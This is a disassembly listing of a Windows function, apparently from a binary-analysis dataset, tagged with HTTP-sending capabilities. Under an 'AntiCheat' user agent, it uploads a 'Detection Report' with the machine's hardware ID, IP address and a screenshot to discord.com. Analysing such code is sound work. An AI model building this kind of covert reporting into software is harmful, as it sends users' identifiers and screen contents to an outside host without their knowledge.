Function at 0x100391d0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c1fb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x658
mov eax, dword [0x1005d040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov eax, ecx
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x440], eax
mov edi, dword [ebx + 0xc]
push 0
push 0
push 0
mov dword [ebp - 0x440], eax
mov eax, dword [ebx + 8]
push 1
push str.AntiCheat
mov dword [ebp - 0x61c], eax
mov dword [ebp - 0x644], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x628], eax
test eax, eax
jne 0x10039311
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x1b]
mov dword [ebp - 0x618], ecx
nop
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x618]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x618], eax
test eax, eax
jne 0x10039270
push ecx
lea eax, [ebp - 0x1b]
push eax
push esi
lea ecx, [ebp - 0x65c]
call fcn.10046580
lea eax, [ebp - 0x65c]
mov dword [ebp - 4], 0
push eax
mov edx, str.Failed_to_open_internet_session:
mov esi, dword [ebp - 0x620]
mov ecx, esi
call fcn.10045810
mov ecx, dword [ebp - 0x648]
add esp, 4
cmp ecx, 0xf
jbe 0x1003a620
mov edx, dword [ebp - 0x65c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039b68
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10039b68
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push 0
push 0
push 3
push 0
push 0
push 0x1bb
push str.discord.com
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x618], eax
test eax, eax
jne 0x100393ab
push dword [ebp - 0x628]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x1b]
mov dword [ebp - 0x618], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x618]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x618], eax
test eax, eax
jne 0x10039353
push ecx
lea eax, [ebp - 0x1b]
push eax
push esi
lea ecx, [ebp - 0x65c]
call fcn.10046580
lea eax, [ebp - 0x65c]
mov dword [ebp - 4], 1
push eax
mov edx, str.Failed_to_connect_to_Discord:
jmp 0x100392c3
cmp dword [esi + 0x14], 0xf
jbe 0x100393b3
mov esi, dword [esi]
push 0
push 0x80800000
push 0
push 0
push 0
push esi
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x624], eax
test eax, eax
jne 0x1003945a
push dword [ebp - 0x618]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x628]
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x1b]
mov dword [ebp - 0x618], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x618]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x618], eax
test eax, eax
jne 0x10039402
push ecx
lea eax, [ebp - 0x1b]
push eax
push esi
lea ecx, [ebp - 0x65c]
call fcn.10046580
lea eax, [ebp - 0x65c]
mov dword [ebp - 4], 2
push eax
mov edx, str.Failed_to_open_HTTP_request:
jmp 0x100392c3
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edx
push eax
lea ecx, [ebp - 0x30]
call fcn.10037b70
push eax
mov edx, str.________________________
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x4c0]
call fcn.10045810
add esp, 0xc
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xf
jbe 0x100394bd
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100394b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x20], 0
push eax
mov edx, str.Content_Type:_multipart_form_data__boundary
mov dword [ebp - 0x1c], 0xf
lea ecx, [ebp - 0x640]
mov byte [ebp - 0x30], 0
call fcn.100456f0
add esp, 4
push 0x1004f1e8
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x478]
call fcn.10045610
add esp, 4
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x62c]
cmp ecx, 0xf
jbe 0x10039540
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039536
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
push 0x98
lea eax, [ebp - 0x558]
mov dword [ebp - 0x630], 0
push 0
push eax
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x558], 0x10055b3c
lea ecx, [ebp - 0x508]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x554]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x644], 0x200
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x558]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0x55c], eax
lea ecx, [ebp - 0x554]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 4
lea ecx, [ebp - 0x65c]
mov byte [ebp - 4], 0xb
call fcn.1003acc0
mov esi, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
push dword [ebp - 0x61c]
mov edx, str._n_________content_:_____n_________embeds_:____n_____________n_________________title_:__Detection_Report___n_________________fields_:___n______________________name_:__:desktop:__HWID:____value_:__
call fcn.100456f0
add esp, 4
push str.____inline_:_true___n______________________name_:__:globe_with_meridians:__IP_Address:____value_:__
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x640]
call fcn.10045610
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x460]
push dword [ebp - 0x440]
call fcn.10046350
push str.____inline_:_false__n___________________n_________________image_:__n______________________url_:__https:__share.creavite.co_66ff6d94d5095e1d66297165.gif__n_________________n_____________n__________n____
lea edx, [ebp - 0x460]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x4a8]
call fcn.10045610
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x44c]
cmp ecx, 0xf
jbe 0x100396ba
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100396b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 0xf
mov byte [ebp - 0x460], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x62c]
cmp ecx, 0xf
jbe 0x10039713
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039709
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xf
jbe 0x10039766
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003975c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x648]
cmp ecx, 0xf
jbe 0x100397b6
mov edx, dword [ebp - 0x65c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100397ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov edx, 0x1005397c
mov dword [ebp - 0x64c], 0
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x648], 0xf
mov byte [ebp - 0x65c], 0
call fcn.10002080
cmp dword [ebp - 0x4ac], 0xf
lea edx, [ebp - 0x4c0]
push dword [ebp - 0x4b0]
cmova edx, dword [ebp - 0x4c0]
mov ecx, eax
call fcn.100466a0
add esp, 4
mov edx, 0x1004f1e8
mov ecx, eax
call fcn.10002080
mov edx, str.Content_Disposition:_form_data__name_payload_json__r_n_r_n
lea ecx, [ebp - 0x558]
call fcn.10002080
cmp dword [ebp - 0x494], 0xf
lea edx, [ebp - 0x4a8]
push dword [ebp - 0x498]
cmova edx, dword [ebp - 0x4a8]
lea ecx, [ebp - 0x558]
call fcn.100466a0
add esp, 4
mov edx, 0x1004f1e8
mov ecx, eax
call fcn.10002080
mov edx, 0x1005397c
lea ecx, [ebp - 0x558]
call fcn.10002080
cmp dword [ebp - 0x4ac], 0xf
lea edx, [ebp - 0x4c0]
push dword [ebp - 0x4b0]
cmova edx, dword [ebp - 0x4c0]
mov ecx, eax
call fcn.100466a0
add esp, 4
mov edx, 0x1004f1e8
mov ecx, eax
call fcn.10002080
mov edx, str.Content_Disposition:_form_data__name_file1___filename_Yume.png__r_n
lea ecx, [ebp - 0x558]
call fcn.10002080
mov edx, str.Content_Type:_image_png_r_n_r_n
lea ecx, [ebp - 0x558]
call fcn.10002080
push 0xb8
lea eax, [ebp - 0x610]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov esi, edi
cmp dword [edi + 0x14], 0xf
jbe 0x100398d5
mov esi, dword [edi]
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x610], 0x10055b28
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x600]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x610]
mov dword [ebp - 0x644], 0xe00
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 0x16
mov eax, dword [ebp - 0x610]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x610]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x614], eax
lea ecx, [ebp - 0x600]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [ebp - 0x600]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x5b8], 0
mov byte [ebp - 0x5c3], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x1005ed1c]
mov ecx, dword [0x1005ed20]
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x5c8], 0
push ecx
push 0x21
push esi
lea ecx, [ebp - 0x600]
mov byte [ebp - 4], 0x17
call fcn.10045480
test eax, eax
jne 0x100399c9
mov eax, dword [ebp - 0x610]
lea ecx, [ebp - 0x610]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [ebp - 0x610]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x610]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x614], eax
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x5b4], 0
jne 0x10039b77
push dword [ebp - 0x624]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x618]
call esi
push dword [ebp - 0x628]
call esi
mov esi, dword [ebp - 0x620]
mov edx, str.Failed_to_open_screenshot_file:
push edi
mov ecx, esi
call fcn.100456f0
add esp, 4
lea ecx, [ebp - 0x610]
call fcn.1003a680
mov ecx, dword [ebp - 0x494]
cmp ecx, 0xf
jbe 0x10039a7a
mov edx, dword [ebp - 0x4a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039a70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0xf
mov byte [ebp - 0x4a8], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0x55c], eax
lea ecx, [ebp - 0x554]
call fcn.10044c70
lea ecx, [ebp - 0x550]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x508]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x464]
cmp ecx, 0xf
jbe 0x10039b19
mov edx, dword [ebp - 0x478]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039b0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0xf
mov byte [ebp - 0x478], 0
cmp ecx, 0xf
jbe 0x1003a620
mov edx, dword [ebp - 0x4c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039b68
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
jmp 0x1003a620
mov eax, dword [ebp - 0x610]
xorps xmm0, xmm0
movq qword [ebp - 0x43c], xmm0
mov dword [ebp - 0x434], 0
mov word [ebp - 0x444], 1
mov esi, dword [eax + 4]
movzx eax, word [ebp - 0x1a]
mov word [ebp - 0x442], ax
movzx eax, word [ebp - 0x1a]
mov esi, dword [ebp + esi - 0x5d8]
test esi, esi
mov word [ebp - 0x662], ax
lea eax, [ebp - 0x43c]
sete cl
mov byte [ebp - 0x663], 0
xor edi, edi
mov byte [ebp - 0x664], cl
mov dword [ebp - 0x43c], edi
mov dword [ebp - 0x438], edi
mov dword [ebp - 0x434], edi
mov dword [ebp - 0x61c], eax
mov eax, dword [ebp - 0x444]
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x444], eax
mov al, byte [ebp - 0x443]
mov byte [ebp - 0x611], al
test cl, cl
je 0x10039c2d
mov al, byte [ebp - 0x444]
mov byte [ebp - 0x612], al
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0x613], al
jmp 0x10039c60
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0x613], al
test esi, esi
je 0x10039c4f
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x10039c4f
mov byte [ebp - 0x611], al
jmp 0x10039c51
xor esi, esi
mov al, byte [ebp - 0x613]
mov byte [ebp - 0x612], 1
nop
test al, al
jne 0x10039c7e
test edi, edi
je 0x10039c75
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
jne 0x10039c77
xor edi, edi
mov byte [ebp - 0x613], 1
test esi, esi
jne 0x10039da2
test edi, edi
jne 0x10039daa
lea ecx, [ebp - 0x600]
mov byte [ebp - 4], 0x1a
call fcn.100453f0
test eax, eax
jne 0x10039cba
mov eax, dword [ebp - 0x610]
lea ecx, [ebp - 0x610]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ecx, dword [ebp - 0x438]
mov eax, dword [ebp - 0x43c]
sub ecx, eax
push 0
push ecx
push eax
lea ecx, [ebp - 0x558]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov edx, 0x1004f1e8
lea ecx, [ebp - 0x558]
call fcn.10002080
mov edx, 0x1005397c
lea ecx, [ebp - 0x558]
call fcn.10002080
cmp dword [ebp - 0x4ac], 0xf
lea edx, [ebp - 0x4c0]
push dword [ebp - 0x4b0]
cmova edx, dword [ebp - 0x4c0]
mov ecx, eax
call fcn.100466a0
add esp, 4
mov edx, str.___r_n
mov ecx, eax
call fcn.10002080
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov eax, dword [ebp - 0x518]
xorps xmm0, xmm0
and al, 0x22
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x480], ecx
mov dword [ebp - 0x47c], 0xf
mov dword [ebp - 0x644], 0x2e00
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], ecx
movups xmmword [ebp - 0x490], xmm0
mov byte [ebp - 0x490], cl
cmp al, 2
je 0x10039e31
mov eax, dword [ebp - 0x534]
mov edx, dword [eax]
test edx, edx
je 0x10039e31
mov eax, dword [ebp - 0x544]
cmp edx, dword [ebp - 0x51c]
cmovb edx, dword [ebp - 0x51c]
mov esi, dword [eax]
sub edx, esi
jmp 0x10039e60
test edi, edi
jne 0x10039c8e
cmp byte [ebp - 0x612], 0
jne 0x10039dd0
test esi, esi
je 0x10039dce
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x10039dce
mov cl, al
mov byte [ebp - 0x611], cl
jmp 0x10039dd6
xor esi, esi
mov cl, byte [ebp - 0x611]
mov eax, dword [ebp - 0x438]
mov byte [ebp - 0x612], cl
cmp eax, dword [ebp - 0x434]
je 0x10039df4
mov byte [eax], cl
inc dword [ebp - 0x438]
jmp 0x10039e0c
lea eax, [ebp - 0x612]
push eax
push dword [ebp - 0x438]
lea ecx, [ebp - 0x43c]
call fcn.10047ac0
test esi, esi
je 0x10039c4f
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void_]
cmp eax, 0xffffffff
je 0x10039c4f
mov byte [ebp - 0x444], 0
jmp 0x10039c36
test byte [ebp - 0x518], 4
jne 0x10039e5a
mov eax, dword [ebp - 0x538]
mov edx, dword [eax]
test edx, edx
je 0x10039e5a
mov eax, dword [ebp - 0x548]
mov esi, dword [eax]
sub edx, esi
mov eax, dword [ebp - 0x528]
add edx, dword [eax]
jmp 0x10039e60
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x10039e7d
push edx
push esi
lea ecx, [ebp - 0x490]
call fcn.10030fb0
mov ecx, dword [ebp - 0x480]
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 4], 0x1c
lea esi, [ebp - 0x1b]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x61c]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x61c], eax
test eax, eax
jne 0x10039e87
push ecx
lea eax, [ebp - 0x1b]
push eax
push esi
lea ecx, [ebp - 0x460]
call fcn.10046580
lea eax, [ebp - 0x460]
mov byte [ebp - 4], 0x1d
push eax
mov edx, str.Content_Length:
lea ecx, [ebp - 0x640]
call fcn.10045810
add esp, 4
push str._r_n_r_n
mov edx, eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x65c]
call fcn.10045610
add esp, 4
push eax
lea ecx, [ebp - 0x478]
mov byte [ebp - 4], 0x1f
call fcn.10044e60
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x648]
cmp ecx, 0xf
jbe 0x10039f4c
mov edx, dword [ebp - 0x65c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039f42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x62c]
mov dword [ebp - 0x64c], 0
mov dword [ebp - 0x648], 0xf
mov byte [ebp - 0x65c], 0
cmp ecx, 0xf
jbe 0x10039fa5
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039f9b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
cmp ecx, 0xf
jbe 0x10039ffe
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10039ff4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
cmp dword [ebp - 0x47c], 0xf
lea ecx, [ebp - 0x490]
push dword [ebp - 0x480]
cmova ecx, dword [ebp - 0x490]
lea eax, [ebp - 0x478]
cmp dword [ebp - 0x464], 0xf
mov esi, dword [ebp - 0x624]
cmova eax, dword [ebp - 0x478]
push ecx
push dword [ebp - 0x468]
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x1003a2f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x61c], edi
call esi
push dword [ebp - 0x618]
call esi
push dword [ebp - 0x628]
call esi
lea esi, [ebp - 0x44b]
mov eax, 0xcccccccd
dec esi
mul edi
shr edx, 3
mov al, dl
mov edi, edx
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x61c]
add cl, cl
sub al, cl
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x61c], eax
test eax, eax
jne 0x1003a076
push ecx
lea eax, [ebp - 0x44b]
push eax
push esi
lea ecx, [ebp - 0x640]
call fcn.10046580
mov esi, dword [ebp - 0x620]
lea eax, [ebp - 0x640]
push eax
mov edx, str.Failed_to_send_request:
mov byte [ebp - 4], 0x20
mov ecx, esi
call fcn.10045810
mov ecx, dword [ebp - 0x62c]
add esp, 4
cmp ecx, 0xf
jbe 0x1003a113
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a109
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov ecx, dword [ebp - 0x47c]
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
cmp ecx, 0xf
jbe 0x1003a168
mov edx, dword [ebp - 0x490]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a15e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov ecx, dword [ebp - 0x43c]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
mov byte [ebp - 0x490], 0
test ecx, ecx
je 0x1003a1db
mov edx, dword [ebp - 0x434]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1003a1b3
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push edx
push ecx
call fcn.1004a23a
add esp, 8
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
lea ecx, [ebp - 0x610]
call fcn.1003a680
mov ecx, dword [ebp - 0x494]
cmp ecx, 0xf
jbe 0x1003a220
mov edx, dword [ebp - 0x4a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a216
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0xf
mov byte [ebp - 0x4a8], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0x55c], eax
lea ecx, [ebp - 0x554]
call fcn.10044c70
lea ecx, [ebp - 0x550]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x508]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x464]
cmp ecx, 0xf
jbe 0x1003a2bf
mov edx, dword [ebp - 0x478]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a2b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003930b
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0xf
mov byte [ebp - 0x478], 0
cmp ecx, 0xf
jbe 0x1003a620
mov edx, dword [ebp - 0x4c0]
inc ecx
jmp 0x100392e9
xorps xmm0, xmm0
